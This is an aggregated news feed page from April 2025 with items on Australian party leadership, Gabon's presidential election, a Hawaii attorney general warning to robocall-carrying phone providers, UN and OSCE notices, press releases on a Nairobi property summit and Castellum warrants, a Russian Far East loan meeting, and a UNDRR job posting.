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Category: Politics

  • MIL-Evening Report: Grattan on Friday: Will there be leadership changes on both sides of politics next parliamentary term?

    Source: The Conversation (Au and NZ) – By Michelle Grattan, Professorial Fellow, University of Canberra

    When Jim Chalmers and Angus Taylor met for this week’s treasurers’ debate, the moderator observed that in three or six years they might be facing each other as prime minister and opposition leader.

    Election results trigger, or subsequently lead to, leadership resets. Even in the turmoil of a campaign, players will also have their eyes on the future.

    After two weeks, the election campaign appears to have shifted more clearly in Labor’s direction. The uncertainty caused by Donald Trump is making some voters inclined to stick with the status quo, and the Liberal campaign has appeared faltering. Things could change, but as of now, Labor is better placed.

    Assuming Anthony Albanese wins, the dynamics within Labor will be different according to whether his government is in minority or majority.

    Albanese’s negotiating skills were evident during the last minority Labor government, and would likely come to the fore again if Labor had to wrangle crossbenchers in the House of Representatives.

    But regardless of majority or minority, there would probably be pressure for a leadership change at some point during the next term. It is hard to see Albanese, 62, taking Labor into the 2028 election.

    Chalmers, 47, is the obvious frontrunner to succeed him, but not the only horse in the field. And, apart from Chalmers, other aspirants might be concerned time would pass them by if there was not a transition next term.

    Home Affairs minister Tony Burke, 55, from the right in NSW, is ambitious and canny; he has delivered to the unions and could look to support from that quarter. Deputy Prime Minister Richard Marles, 57, who hails from the Victorian right, also sees himself as a potential successor.

    The left’s Tanya Plibersek, 55, is a favourite with the party rank and file but could struggle to get enough backing in a leadership transition during a second term. Energy Minister Chris Bowen, 52, has had a tough time selling the government’s energy transition policy; in the past he was seen as a serious leadership contender, but doesn’t make it into dispatches these days.

    If the Labor leadership is contested, the rules provide for a ballot of the rank and file. That contributes 50% of the result, with caucus providing the other 50%. A transition in government during the term either would not involve a formal ballot or, if it did, the rules would be changed to override the provision for a long grass roots contest.

    The dynamic between Chalmers and Albanese in a second-term government would be closely watched. There have been some differences between the two over the past three years, notably over the recalibration of the Morrison government’s tax cuts. Chalmers eventually won his push to change them. The treasurer’s loyalty to Albanese has not been in question. But the contrast in their communication skills has been widely remarked on.

    The usual pattern of these things is that a treasurer who sees himself as a future prime minister becomes increasingly impatient as time goes on. Paul Keating, who eventually toppled Bob Hawke, and Peter Costello, who never got to the point of challenging John Howard, are examples.

    While Albanese has obviously not had to watch his back this term, the dynamic would be different next time around. The example of Scott Morrison is instructive. After he unexpectedly won the 2019 election, Morrison was seen as untouchable. Fast forward to before the following election and some in the Liberal party approached treasurer Josh Frydenberg to try to replace Morrison. He rebuffed them.

    Looking across the board, it’s notable that the most impressive Labor leaders currently are two state premiers, Chris Minns in NSW and Peter Malinauskas in South Australia. Both are centrist, pragmatic, unifying figures who come across well. Many in Labor might regret they are not in the federal parliament (although the leadership aspirants would be relieved).

    On the other side of politics, if 54-year-old Peter Dutton loses, what happens with the Liberal leadership? The size of the loss would be crucial. If Labor remained in majority, that would be such a major failure Dutton would surely be replaced immediately. If he picked up a respectable number of seats, on the other hand, he would likely be kept on. He has worked his relationships within the Liberal party well; he is seen as more consultative than, for example, Morrison or Malcolm Turnbull.

    But how long would he last as leader? If the Coalition was only a whisker away from power, he might get a second crack in 2028. However if Labor, although in minority, was looking solid, the Liberals would start thinking about a new leader.

    Their problem is that there is a dearth of frontbench talent.

    Taylor, 58, certainly has ambition. But he has not performed well as shadow treasurer, and is not a good retail politician. Liberal deputy leader Sussan Ley, 63, is scatty and widely criticised by colleagues. Defence spokesman Andrew Hastie, 42, hasn’t broadened out as much as might have been expected this term, and has the disadvantage of coming from Western Australia, which has limited his visibility.

    The loss of Frydenberg at the last election has left the Liberals with a long-term succession problem.

    Partly, though not entirely, this goes back some way, to the sort of candidates selected in former years. This is an increasing challenge for both “parties of government”. The talent pool is narrowing.

    Fewer potential high flyers are wanting to enter politics. A toxic political culture and greater media intrusion contribute to this. Politicians might never have commanded great respect but they are accorded even less these days, and there are larger rewards elsewhere. Also, political staffs are bigger, and these young hustlers are well placed to secure preselection.

    There is another factor. Nowadays there’s more pressure to put forward “local champions” – people who are deeply embedded in their communities. We’ve seen this in the success of the “community candidates” movement – many voters respond to them.

    With fewer “safe” seats and this desire for localism, the major parties cannot so easily parachute high flyers into seats in which they don’t live. Labor notoriously tried this with Kristina Keneally, a former senator and former NSW premier, at the last election, and managed to lose what had been the solid Labor seat of Fowler.

    The political move to local champions and community candidates, whatever pluses it might have, will over time erode the potential leadership pools of the major parties.

    Michelle Grattan does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. Grattan on Friday: Will there be leadership changes on both sides of politics next parliamentary term? – https://theconversation.com/grattan-on-friday-will-there-be-leadership-changes-on-both-sides-of-politics-next-parliamentary-term-254203

    MIL OSI Analysis – EveningReport.nz –

    April 10, 2025
  • MIL-OSI Africa: Absa Corporate and Investment Banking powers East Africa’s real estate future as lead Sponsor of East Africa Property Investment (EAPI) Summit 2025

    Source: Africa Press Organisation – English (2) – Report:

    NAIROBI, Kenya, April 10, 2025/APO Group/ —

    Under the theme “Positioning for Opportunity”, Nairobi’s premier real estate event brings global investors and developers together to shape East Africa’s economic landscape.

    As a proudly Pan-African business with key interests in positively shaping economic policy and investments, Absa CIB has proudly, once again confirmed their participation as a lead sponsor of the 2025 East Africa Property Investment (EAPI) Summit.

    The EAPI Summit is East Africa’s premier real estate event, bringing together over 450 global investors, developers, and professionals from the real estate industry. The 12th annual summit will be held in Nairobi, Kenya on the 7 and 8 May 2025, at Pullman, Upper Hill.  The EAPI  Summit provides a platform for networking, dealmaking, and gaining insights from key industry leaders. Strategic discussions will focus on investments and capital markets, occupier trends, retail, logistics, hospitality, and affordable housing, making it a vital event for stakeholders in East Africa’s real estate sector.

    The 2025 EAPI Summit marks the third year Absa CIB joins as the lead sponsor.

    Sandile Mpanza, Head: Commercial Property Finance, Africa Region, Absa CIB says that “Absa CIB’s sponsorship of the EAPI Summit reinforces our continued commitment to positively shaping the economic development of the African markets in which we operate.”

    The Absa Group operates in several East African countries, including Kenya, Tanzania, Uganda, and the Seychelles. Absa also provides financial solutions and advisory services tailored to the unique challenges and opportunities in the region, reinforcing its commitment to fostering economic growth and development in East Africa.

    Says Mpanza “As a trusted partner, we remain dedicated to supporting developers, investors and stakeholders with tailored solutions that unlock opportunities and foster sustainable development. We look forward to engaging with industry leaders to shape the future of East Africa’s property market.”

    Under the theme “Positioning for Opportunity”, this year’s EAPI Summit will explore how developers and investors can capitalise on investment opportunities in countries such as Tanzania, Kenya, Uganda, Rwanda, and more. These countries are showing promising signs of economic recovery, improving political stability, and stabilising interest rates.

    East Africa’s diverse real estate sector is gaining interest from institutional, local, and offshore investors across many sectors. In 2025 and beyond, several market watchers expect renewed interest and dealmaking in the commercial, retail, hospitality, and affordable housing real estate segments.

    While investment opportunities are plentiful in East Africa, regional and global challenges persist and are set to impact the real estate industry. Expert speakers at the EAPI Summit will help investors and market watchers navigate the impact of trade tariffs imposed by the US under President Donald Trump’s administration, the outlook of interest rates that remain high globally and convincing pension funds to bankroll infrastructure projects that aim to improve Africa’s development ambitions, and more.

    In addition to Absa, Africa Logistics Properties (ALP) has thrown its weight behind the EAPI Summit as a sponsor.  As a Nairobi-based property developer of high-quality warehouses for the occupier market, ALP brings institutional expertise to the EAPI Summit about East Africa’s real estate market. After all, ALP is working with multinational companies across Africa, developing modern grade-A logistics and distribution warehousing infrastructure in Kenya and prospectively, the wider East Africa region.

    ALP will be able to tackle questions at the EAPI summit about complex global economic and geopolitical developments set to impact East Africa’s real estate market. This is because ALP has experience and exposure to global markets as it operates according to global public company governance standards.

    Raghav Gandhi, the CEO of ALP, says: “ALP has been a regular participant and sponsor for the EAPI summits due to their presence in the real estate sector not just in Kenya but also the continent.  They bring together industry leaders and professionals in a vibrant environment, which rarely happens so that we can explore synergies and collaboration opportunities for our respective businesses.  Through the panels, the EAPI summits also provide the opportunity for thought leadership and innovation to be shared across key stakeholders so that folks have the chance to learn something new or challenge what they feel is the status quo.”

    With sponsorships from Absa CIB, ALP, and others, the 2025 edition of the EAPI summit will be another highly-anticipated opportunity for attendees to connect with expert speakers and peers to expand their professional networks.

    The 12th East Africa Property Investment Summitt will take place on 7 and 8 May 2025 at Pullman, Upper Hill, Nairobi, Kenya. For more information and to book to attend the EAPI Summit visit https://EAPISummit.com/.

    MIL OSI Africa –

    April 10, 2025
  • MIL-OSI Africa: Gabon elections: why a landmark vote won’t bring real change

    Source: The Conversation – Africa – By Douglas Yates, Professor of Political Science , American Graduate School in Paris (AGS)

    The upcoming elections in Gabon will test whether the country is on a firm democratic footing, or whether it will be business as usual with military men in control, but under the guise of democratic choice.

    Brice Oligui Nguema, now the transitional president, staged a coup against Ali Bongo in August 2023. Oligui Nguema and his military junta promised to return power to civilians at the end of a two year military transition.

    But Oligui Nguema wrong-footed opposition figures on two fronts. First, he announced the elections six months earlier than the transition arrangement allowed for. And second, in early March he resigned his office as general and presented himself as a civilian and therefore eligible to run as a candidate. He is contesting against seven other candidates, one of whom is the former prime minister of Gabon, Claude Bilie-By-Nze.

    As a political scientist specialising in African politics, I have researched and published works on Gabon’s politics.

    Since most of the other candidates have no national following and lack sufficient campaign finance or party machinery throughout the densely forested national territory, I argue that the presidential race has been reduced to a run-off between two men: Oligui Nguema and Bilie-By-Nze.

    Both men were part of the previous regime. Although the two men agreed to stand against one another, they never contradict each other.

    Whoever wins the 12 April election, Gabon’s people will see a new government run by members of the former one. So, for the people of Gabon, perhaps the only thing that will change will be the end of the 56-year Bongo family dynasty.

    The contenders

    Originally, 23 applications for candidacy were sent to the National Commission for the Organization and Coordination of Elections and Referendum. On 27 March Gabon’s Constitutional Court validated eight candidates.

    They are Thierry Yvon Michel Ngoma, Axel Stophène Ibinga Ibinga, Alain Simplice Boungoueres, Zenaba Gninga Changing, Stéphane Germain Iloko, Joseph Lapensée Essigone, Bilie-By-Nze and Oligui Nguema.

    Ever since the late President Omar Bongo (1967-2009) introduced one-party rule, the Gabonese Democratic Party has won every presidential and legislative election.


    Read more: Gabon: post-coup dialogue has mapped out path to democracy – now military leaders must act


    At first the military junta threatened to exclude the former ruling party from participating in the 2025 multiparty elections. But after a year of close consultations with former ministers, deputies and local party “big men”, Oligui Nguema decided to allow the Gabonese Democratic Party to present candidates.

    In return, the party agreed to call on all its activists and supporters to vote for Oligui Nguema.

    Where Oligui Nguema has resurrected the former ruling party, which ruled Gabon from 1967 to 2023, its politicians and its national machinery, Bilie-By-Nze has positioned himself as the “candidate of rupture”. Beyond the public posturing, there doesn’t seem to much difference between the two.


    Read more: Gabon coup has been years in the making: 3 key factors that ended the Bongo dynasty


    Electoral code, high-tech procedures

    The election, which will follow a new code put in place in January 2025, involves several key steps to ensure transparency and fairness.

    • Citizens register to vote, providing identification and proof of residency. As a referendum on a new constitution was held in November 2024, electoral lists are largely complete.

    • The election has to be organised on the basis of “permanent biometric electoral lists”. This means a biometric register of voters would be used for verification. Information and communications technologies must be used to ensure the transparency, efficiency and reliability of the ballots.

    • Candidates and their parties campaign, presenting their platforms and policies. This campaign period is regulated to ensure fair play, with restrictions on campaign financing and media coverage.

    • Polling stations are set up across the country, equipped with the necessary high-tech materials. Election officers are trained to assist voters and manage the process. Voters receive ballots listing all candidates and parties. They mark their choices in private booths to ensure confidentiality.

    • After the polls close, votes will be counted under strict supervision to prevent tampering. Counting is conducted transparently, with representatives from political parties and observers present to monitor the process, as per Article 90 of the electoral code.

    • The official results are announced by the electoral commission, with observers present to validate the process. Despite having high-technology biometric counting systems, it can take as long as two weeks to announce the official results, especially if the results are close.

    Any disputes or complaints are addressed through legal channels to ensure a fair outcome, in accordance with Article 105 of the electoral code.

    Doubts persist

    Despite these systems being in place, opposition figures (including former interior minister Jean-Remy Yama) have expressed doubts that the process will be fair.

    Firstly, candidates endorsed by the Gabonese Democratic Party have always won. Since Oligui Nguema has been endorsed by the Gabonese Democratic Party, he is, in a statistical sense, the most probable winner.

    Secondly, prominent figures from the former regime who are now leading opposition actors criticised Oligui Nguema’s premature announcement of the poll. According to his transition timeline, the election was to take place in August 2025. It is an old trick: calling quick elections to prevent the opposition from uniting behind a common candidate who can challenge the president.


    Read more: Gabon: how the Bongo family’s 56-year rule has hurt the country and divided the opposition


    Oversight

    Drawing from its past experience as election observer in Gabon, the Gabonese Red Cross plans to mobilise a team of 200 volunteers, in addition to its staff. This team will supplement the limited human resources available during the 2023 operation to help the public authorities.

    International observers from organisations such as the African Union and the United Nations are expected to monitor the elections to ensure they are free and fair, providing an additional layer of oversight.

    Security measures are also heightened during the election period to maintain peace and order, enabling citizens to exercise their democratic rights without fear or intimidation.

    If the referendum held in November 2024 is any indicator of what is to come, then foreign observers should expect a peaceful presidential election with a clear victory for the winner.

    It promises to be a peaceful transition from military rule to civilian rule. This is especially so as the new government will be run by members of the former one.

    – Gabon elections: why a landmark vote won’t bring real change
    – https://theconversation.com/gabon-elections-why-a-landmark-vote-wont-bring-real-change-253902

    MIL OSI Africa –

    April 10, 2025
  • MIL-OSI Africa: Statement attributable to the Spokesperson for the Secretary-General on the passing of Amara Essy, former Interim Chairperson of the African Union [scroll down for French]

    Source: United Nations – English

    he Secretary-General was deeply saddened to learn of the passing of Mr. Amara Essy, former Interim Chairperson of the African Union Commission, former President of the 49th Session of the General Assembly and former Minister of Foreign Affairs of Côte d’Ivoire. Mr. Essy also held several leadership positions with the United Nations.

    The Secretary-General extends his deepest condolences to his family and the Government and people of Côte d’Ivoire as well as to the entire African Union family.

    Mr. Essy played a pivotal role in steering the African Union through the crucial transition from the former Organization of African Unity, marking a significant step in the continent’s push for regional integration. He also facilitated the peaceful resolution of several conflicts in Africa.

    As President of the 49th session of the United Nations General Assembly, Mr. Essy was known for his effective leadership and for being a consensus builder. In the same vein, as Special Envoy of the Secretary-General on the Central African Republic and the Republic of the Congo, Mr. Essy contributed to the facilitation of the resolution of the political crisis in the region.

    Mr. Essy will be remembered for his dedication to the African cause. He was a true African statesman whose legacy will continue to inspire generations of future diplomats.

    *************************************

    Déclaration attribuable au porte-parole du Secrétaire général sur le décès d’Amara Essy, ancien Président par intérim de la Commission de l’Union africaine et ancien Président de la 49ème session de l’Assemblée générale des Nations Unies

    Le Secrétaire général a appris avec une profonde tristesse le décès de M. Amara Essy, ancien Président par intérim de la Commission de l’Union africaine, ancien Président de la 49ème session de l’Assemblée générale des Nations Unies et ancien Ministre des Affaires étrangères de la République de Côte d’Ivoire. M. Essy a également exercé plusieurs fonctions de haut niveau au sein des Nations Unies.

    Le Secrétaire général présente ses plus sincères condoléances à la famille de M. Amara Essy, au Gouvernement et au peuple ivoiriens, ainsi qu’à toute la famille de l’ Union africaine.

    M. Essy a joué un rôle essentiel dans la conduite de l’Union africaine lors de sa transition cruciale de l’ancienne Organisation de l’Unité africaine, marquant une étape importante dans l’élan du continent vers la paix et la sécurité régionales. Il a également facilité la résolution pacifique de plusieurs conflits en Afrique.

    En tant que Président de la 49ème session de l’Assemblée générale des Nations Unies, il était connu pour son leadership efficace et sa capacité à créer des consensus. En tant qu’Envoyé spécial du Secrétaire général pour la République centrafricaine et la République du Congo, M. Essy a  contribué à la facilitation de la résolution de la crise politique dans la région.

    M. Essy restera dans les mémoires pour son dévouement à la cause africaine. Son héritage d’homme d’État africain authentique continuera d’inspirer des générations de futurs diplomates.

    MIL OSI Africa –

    April 10, 2025
  • MIL-OSI USA: 2025-53 DEPARTMENT OF THE ATTORNEY GENERAL WARNS NINE PHONE PROVIDERS OVER CONTINUED UNLAWFUL ROBOCALL TRAFFIC

    Source: US State of Hawaii

    2025-53 DEPARTMENT OF THE ATTORNEY GENERAL WARNS NINE PHONE PROVIDERS OVER CONTINUED UNLAWFUL ROBOCALL TRAFFIC

    Posted on Apr 9, 2025 in Latest Department News, Newsroom

     

    STATE OF HAWAIʻI

    KA MOKU ʻĀINA O HAWAIʻI

     

    DEPARTMENT OF THE ATTORNEY GENERAL

    KA ʻOIHANA O KA LOIO KUHINA

     

    JOSH GREEN, M.D.
    GOVERNOR

    KE KIAʻĀINA

     

    ANNE LOPEZ

    ATTORNEY GENERAL

    LOIO KUHINA

     

     

    DEPARTMENT OF THE ATTORNEY GENERAL WARNS NINE PHONE PROVIDERS OVER CONTINUED UNLAWFUL ROBOCALL TRAFFIC

     

     

    News Release 2025-53

     

    FOR IMMEDIATE RELEASE                                                       

    April 9, 2025

     

    HONOLULU – Attorney General Anne Lopez and the 51 attorneys general of the Anti-Robocall Multistate Litigation Task Force, notified nine voice service providers that they may be violating state and federal laws by continuing to route allegedly unlawful robocalls across their networks. The warning letters include information about the task force’s investigation and analysis of each provider’s illegal and/or suspicious robocall traffic.  

    “These telecommunications companies continue to transmit suspected illegal robocall traffic, despite task force demands to identify, investigate and mitigate suspicious, high-volume robocalls across their networks,” said Attorney General Lopez. “Many robocall scammers trick people into giving up personal information or into paying them money and it’s time for these telecommunications companies to stop transmitting illegal robocalls and become part of the solution.”

    In addition to sending these warning notices, the task force has also shared its concerns about these providers with federal law enforcement partners, including the Federal Communications Commission (FCC).  

    The task force sent warning letters to the following companies:  

    Global Net Holdings. Global Net Holdings received at least 153 traceback notices for illegal and suspicious robocalls about government and financial imposters and impersonations, suspicious Amazon charges, credit card interest rate reductions, Medicare scams, Chinese package delivery scams, cable discount scams, utility disconnection scams and others. 

    All Access Telecom. All Access Telecom received more than 356 traceback notices since the end of 2023 for illegal and suspicious robocalls about political impersonations, cable discount scams, government and financial imposters, suspicious Amazon charges, credit card “courtesy” calls and others.  

    Lingo Telecom. Lingo received more than 105 traceback notices since the end of 2023 over robocalls involving Social Security imposters, utility disconnections, suspicious Amazon charges, student loans and others.  

    NGL Communications. NGL Communications received at least 100 traceback notices since the end of 2023 for robocalls about COVID financial relief, student loan forgiveness, debt relief, DirecTV discounts, credit card interest rate reductions and others.  

    Range. Range received more than 590 traceback notices since 2019 for robocalls about utilities rebates, Medicare advisors, financial impersonations and credit card interest rate reductions, auto warranties and others. 

    RSCom Ltd. RSCom received nearly 1,000 traceback notices since 2019 for scam calls about tax relief, private entity imposters, utility disconnections, travel scams, student loan forgiveness and others.  

    Telcast Network. Telcast received at least 800 traceback notices about illegal and suspicious robocalls about financial and utility imposters, utilities rebates, Medicare advisors, Amazon, tax relief and others. 

    ThinQ Technologies. ThinQ Technologies (known as Commio) received more than 500 traceback notices since 2019 about government imposters, debt relief/financing, loan approvals, suspicious Amazon charges, student loan forgiveness, DirecTV discounts, sweepstakes and others. 

    Telcentris. Telcentris (known as Voxox) received more than 400 traceback notices since 2019 about scam calls about Social Security imposters, Amazon scam, student loans and others. 

    Copies of the warning letters are available here. 

    # # #

     

    Media contacts:

    Dave Day

    Special Assistant to the Attorney General

    Office: 808-586-1284                                                  

    Email: [email protected]        

    Web: http://ag.hawaii.gov

     

    Toni Schwartz
    Public Information Officer
    Hawai‘i Department of the Attorney General
    Office: 808-586-1252
    Cell: 808-379-9249
    Email:
    [email protected] 

    MIL OSI USA News –

    April 10, 2025
  • MIL-OSI Europe: OSCE Presence, General Prosecutor’s Office organize workshop on strengthening prosecutors’ role in combating electoral crimes in Albania

    Source: Organization for Security and Co-operation in Europe – OSCE

    Headline: OSCE Presence, General Prosecutor’s Office organize workshop on strengthening prosecutors’ role in combating electoral crimes in Albania

    OSCE Presence, General Prosecutor’s Office organize workshop on strengthening prosecutors’ role in combating electoral crimes in Albania | OSCE
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    MIL OSI Europe News –

    April 10, 2025
  • MIL-OSI: Castellum, Inc. Alerts Holders of Remaining Warrants Issued as Part of its $4.5 Million Public Offering that Closed on March 19, 2025 of Deadline to Exercise

    Source: GlobeNewswire (MIL-OSI)

    VIENNA, Va., April 10, 2025 (GLOBE NEWSWIRE) — Castellum, Inc. (NYSE-American: CTM) (“Castellum” or “CTM”), a cybersecurity, electronic warfare, and software engineering services company focused on the federal government, is alerting the remaining holders of 3,355,000 unexercised warrants, exercisable at $1.08 per share, that these warrants will expire on May 16, 2025. Since March 19, 2025, 1,145,000 (just over 25%) of the total 4,500,000 warrants issued have already been exercised.

    “We had another very successful equity raise in March, issuing 4.5 million shares at $1.00, said David Bell, CFO of Castellum. “Already, another $1.2 million has been raised via the exercise of over 1.1 million warrants through the end of March. We remind investors that just over 3.3 million unexercised warrants remain, allowing investors to buy shares at $1.08 per share, which expires on May 16, 2025.”

    “I’m encouraged and gratified by the steady confidence our investors have placed in us, as shown by our most recent successful March equity raise,” said Glen Ives, President and CEO of Castellum. “Our CTM team remains unequivocally committed to building our strong organic growth foundation and winning culture. In the vernacular of our industry, your CTM team is laser locked like a missile seeker on its organic growth targets. With our recent $103 million contract win and strong balance sheet, I could not be more sincerely excited for our CTM team. I look forward to our near and longer-term future as we constantly strive to improve our CTM for our people, mission customers, and shareholders.

    About Castellum, Inc.

    Castellum, Inc. (NYSE-American: CTM) is a cybersecurity, electronic warfare, and software engineering services company focused on the federal government – https://castellumus.com/.

    Cautionary Statement Concerning Forward-Looking Statements:

    This release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended and Section 21E of the Securities Exchange Act of 1934, as amended. These forward-looking statements represent the Company’s expectations or beliefs concerning future events and can generally be identified by the use of statements that include words such as “estimate,” “project,” “believe,” “anticipate,” “shooting to,” “intend,” “plan,” “foresee,” “likely,” “will,” “would,” “appears,” “goal,” “target” or similar words or phrases. Forward-looking statements include, but are not limited to, statements regarding the Company’s expectations for revenue growth and new customer opportunities, improvements to cost structure, and profitability. Forward-looking statements include, but are not limited to, statements regarding the Company’s expectations for revenue growth and new customer opportunities including opportunities arising from its contracts, improvements to cost structure, and profitability. These forward-looking statements are subject to risks, uncertainties, and other factors, many of which are outside of the Company’s control, that could cause actual results to differ materially from the results expressed or implied in the forward-looking statements, including, among others: the Company’s ability to compete against new and existing competitors; its ability to effectively integrate and grow its acquired companies; its ability to identify additional acquisition targets and close additional acquisitions; the impact on the Company’s revenue due to a delay in the U.S. Congress approving a federal budget, operating under a prolonged continuing resolution, government shutdown, or breach of the debt ceiling, as well as the imposition by the U.S. government of sequestration in the absence of an approved budget; the ability of the U.S. federal government to unilaterally cancel a contract with or without cause, and more specifically, the potential impact of the U.S. DOGE Service Temporary Organization on government spending and terminating contracts for convenience. For a more detailed description of these and other risk factors, please refer to the Company’s Annual Report on Form 10-K and its Quarterly Reports on Form 10-Q and other filings with the Securities and Exchange Commission (“SEC”) which can be viewed at www.sec.gov. All forward-looking statements are inherently uncertain, based on current expectations and assumptions concerning future events or future performance of the Company. Readers are cautioned not to place undue reliance on these forward-looking statements, which are only predictions and speak only as of the date hereof. The Company expressly disclaims any intent or obligation to update any of the forward-looking statements made in this release or in any of its SEC filings except as may be otherwise stated by the Company.

    Offer or Solicitation

    This communication is not intended to and does not constitute an offer to purchase the securities discussed herein or the solicitation of an offer to sell any securities.

    Contact:
    Glen Ives
    President and Chief Executive Officer
    Phone: (703) 752-6157
    info@castellumus.com

    A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/50c46269-4af7-45f7-bf75-1fe6eef48620

    The MIL Network –

    April 10, 2025
  • MIL-OSI Russia: Yuri Trutnev: Master plans will help realize people’s dream of beautiful and comfortable cities in the Far East and the Arctic

    Translartion. Region: Russians Fedetion –

    Source: Government of the Russian Federation – An important disclaimer is at the bottom of this article.

    Yuri Trutnev held a meeting with the heads of the Far Eastern regions and the leadership of federal ministries on the issue of providing treasury infrastructure loans and on intentions to direct the released funds to the implementation of master plans for the development of cities in the Far Eastern Federal District.

    Deputy Prime Minister of the Russian Federation – Plenipotentiary Representative of the President of the Russian Federation in the Far Eastern Federal District Yuri Trutnev held a meeting with the heads of the Far Eastern regions and the leadership of federal ministries on the issue of providing treasury infrastructure loans and on intentions to direct the released funds to the implementation of master plans for the development of cities in the Far Eastern Federal District.

    “In accordance with the instructions of the President of the Russian Federation Vladimir Vladimirovich Putin, large-scale work on the renovation of Far Eastern cities continues. Following the plenary session of the Eastern Economic Forum, the head of state instructed to additionally allocate 100 billion rubles of infrastructure loans for the implementation of the events of the master plans of the Far East and the Arctic. Today we will discuss a specific issue – the distribution of these funds. The money is large, we must distribute it, understanding the needs and tasks of the regions, as well as responsibility for the use of financial resources,” Yuri Trutnev opened the meeting.

    On the instructions of President Vladimir Putin, a mechanism for issuing treasury infrastructure loans to regions has been approved. Within the framework of the new mechanism, regions will be able to receive financing for a period of up to 15 years at 3% per annum. Of the 100 billion, it is proposed to allocate 70 billion rubles to the Far East and 30 billion rubles to the Arctic. The limits should be extended to the regions by 2030. The Russian Ministry of Construction has prepared a draft of the rules for the selection procedure within the limits of the Far Eastern Federal District and the Arctic Zone of the Russian Federation, which assumes that 50% of the limit will be allocated to housing and communal services, and the other half to other transport, social, tourist, and investment infrastructure facilities within the framework of master plans.

    “The funds can be used to implement long-term plans for the comprehensive socio-economic development of Far Eastern cities, including measures in the housing and utilities sector, resettling citizens from dilapidated housing, replacing elevators, developing key communities, upgrading public transport rolling stock, and other key areas of development,” noted First Deputy Minister of Construction and Housing and Utilities of the Russian Federation Alexander Lomakin.

    On the instructions of Yuri Trutnev, the limits of treasury infrastructure loans should be directed as a priority to the implementation of master plan activities. These activities are contained in long-term comprehensive planning documents, which are approved by the order of the Government of Russia for each subject.

    As specified by the Minister of the Russian Federation for the Development of the Far East and the Arctic Alexey Chekunkov, the Ministry for the Development of the Russian Far East has prepared a project for the distribution of funds among the subjects of the Far Eastern Federal District, which takes into account the level of budgetary provision of the subjects, the population of the agglomeration for which master plans have been prepared. The maximum amount of funding per region is limited and will not exceed 10 billion rubles.

    The issues of priority allocation of funds released from writing off 2/3 of the debt on budget loans for the implementation of master plan activities were discussed. The total volume of writing off such debt in eight subjects (Amur Region, the Republic of Buryatia, Jewish Autonomous Region, Zabaikalsky Krai, Magadan Region, the Republic of Sakha (Yakutia), Khabarovsk Krai, Chukotka Autonomous Okrug) is more than 95 billion rubles. Currently, the Ministry for the Development of the Russian Far East is working on reviewing the applications received from the regions.

    “Master plans reflect the wishes, hopes and dreams of people about creating beautiful and comfortable modern cities. And these needs of the population must be realized. It is important not only to build facilities and provide them with the necessary infrastructure, but also to pay attention to optimizing expenses, reducing costs, making the overall economy of the Far East more economical and efficient,” said Yuri Trutnev

    Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.

    MIL OSI Russia News –

    April 10, 2025
  • MIL-OSI United Nations: Checklist and Implementation Guideline for Inclusive Multi-Hazard Early Warning System in Timor-Leste

    Source: UNISDR Disaster Risk Reduction

    The purpose of these multi-hazard early warning system (MHEWS) guidelines is to ensure that key elements of early warning systems, such as governance, disaster risk knowledge, detection, monitoring, analysis and forecasting, dissemination, communication, and preparedness to respond in Timor-Leste are gender-responsive and disability-inclusive. The guidelines supplement the Government of Timor-Leste’s multi-hazard, end-to-end early warning standard operating procedures developed by the National Designated Authority.

    This document primarily assists the Civil Protection Authority, Ministry of Agriculture and Fisheries, and the National Directorate of Meteorology and Geophysics in fulfilling their legal obligations to implement early warning systems, and the Government of Timor-Leste’s priorities in line with the National Civil Protection Emergency Plan, and the National Action Plan for Gender-Based Violence 2022–2032.

    The inclusive MHEWS guidances are also intended to support key stakeholders at both the national and local government levels, as well as relevant line ministries involved in disaster risk reduction (DRR) and climate change adaptation that are part of broader ecosystem of MHEWS in the country. It should be used routinely in the implementation of DRR and response across geographical areas of Timor-Leste.

    It is crucial that the guidelines are implemented and evaluated for their effectiveness in addressing the needs of women, children, persons with disabilities, older persons and minority groups.

    MIL OSI United Nations News –

    April 10, 2025
  • MIL-OSI United Nations: Staff Assistant, G-5, Bangkok

    Source: UNISDR Disaster Risk Reduction

    Apply here

    Created in December 1999, the United Nations Office for Disaster Risk Reduction (UNDRR) is the designated focal point in the United Nations system for the coordination of efforts to reduce disasters and to ensure synergies among the disaster reduction activities of the United Nations and regional organizations and activities in both developed and less developed countries. Led by the United Nations Special Representative of the Secretary-General for Disaster Risk Reduction (SRSG), UNDRR has over 150 staff located in its headquarters in Geneva, Switzerland, and in regional offices. Specifically, UNDRR guides, monitors, analyses and reports on progress in the implementation of the Sendai Framework for Disaster Risk Reduction 2015-2030, supports regional and national implementation of the Framework and catalyzes action and increases global awareness to reduce disaster risk working with UN Member States and a broad range of partners and stakeholders, including civil society, the private sector, parliamentarians and the science and technology community. 

    This position is based in the UNDRR Regional Office for Asia and the Pacific, in Bangkok. The Staff Assistant reports to the Deputy Chief of the Regional Office, under the overall authority of the Chief of the Regional Office. This position also provides partial support to a staff member with a visual disability in carrying out work-related activities ensuring equal access to opportunities and resources and leveraging technology to enhance accessibility of the environment and information.

    Responsibilities

    Within limits of delegated authority, the Staff Assistant will be responsible for the following duties: 

    • Performs, under minimal supervision, the full range of office management and administrative support functions; provides assistance to the Deputy Chief and Chief of the Regional Office. 
    • When and if needed, supports a staff member with a visual disability in work-related activities. This may include but is not limited to: facilitating access to visual content and creating such content (presentations, documents, etc.) and assisting with the use of IT platforms not supported by screen-reader software. 
    • Ensures smooth and efficient information flow within the unit; prepares and processes confidential information; assists in the development of office administrative systems and procedures.
    • Researches, compiles and summarizes background materials for use in preparation of reports, briefs, speeches, etc. 
    • Performs a variety of administrative duties (e.g., meetings/workshops/training organization both online and in-person, procurement, coordinating with vendors, verifying receipts/bills, staff onboarding, recruitment of consultants and individual contractors etc.) 
    • Provides travel support for meeting participants and assist staff with visa application for official mission. 
    • Orients new staff to relevant administrative procedures and practices and provides general assistance to other office support staff, as required. 
    • Responds or drafts responses to a wide range of correspondence and other communications; uses standard word processing package to produce a wide variety of large, complex documents and reports. 
    • Manages, updates and further develops internal databases; updates website; generates a variety of standard and non-standard statistical and other reports from various databases. 
    • Carries out quality control function for outgoing documents; proofreads and edits texts for adherence for format, grammar, punctuation and style. 
    • Responds to complex information requests and inquiries (e.g. answers requests requiring file search, etc.). 
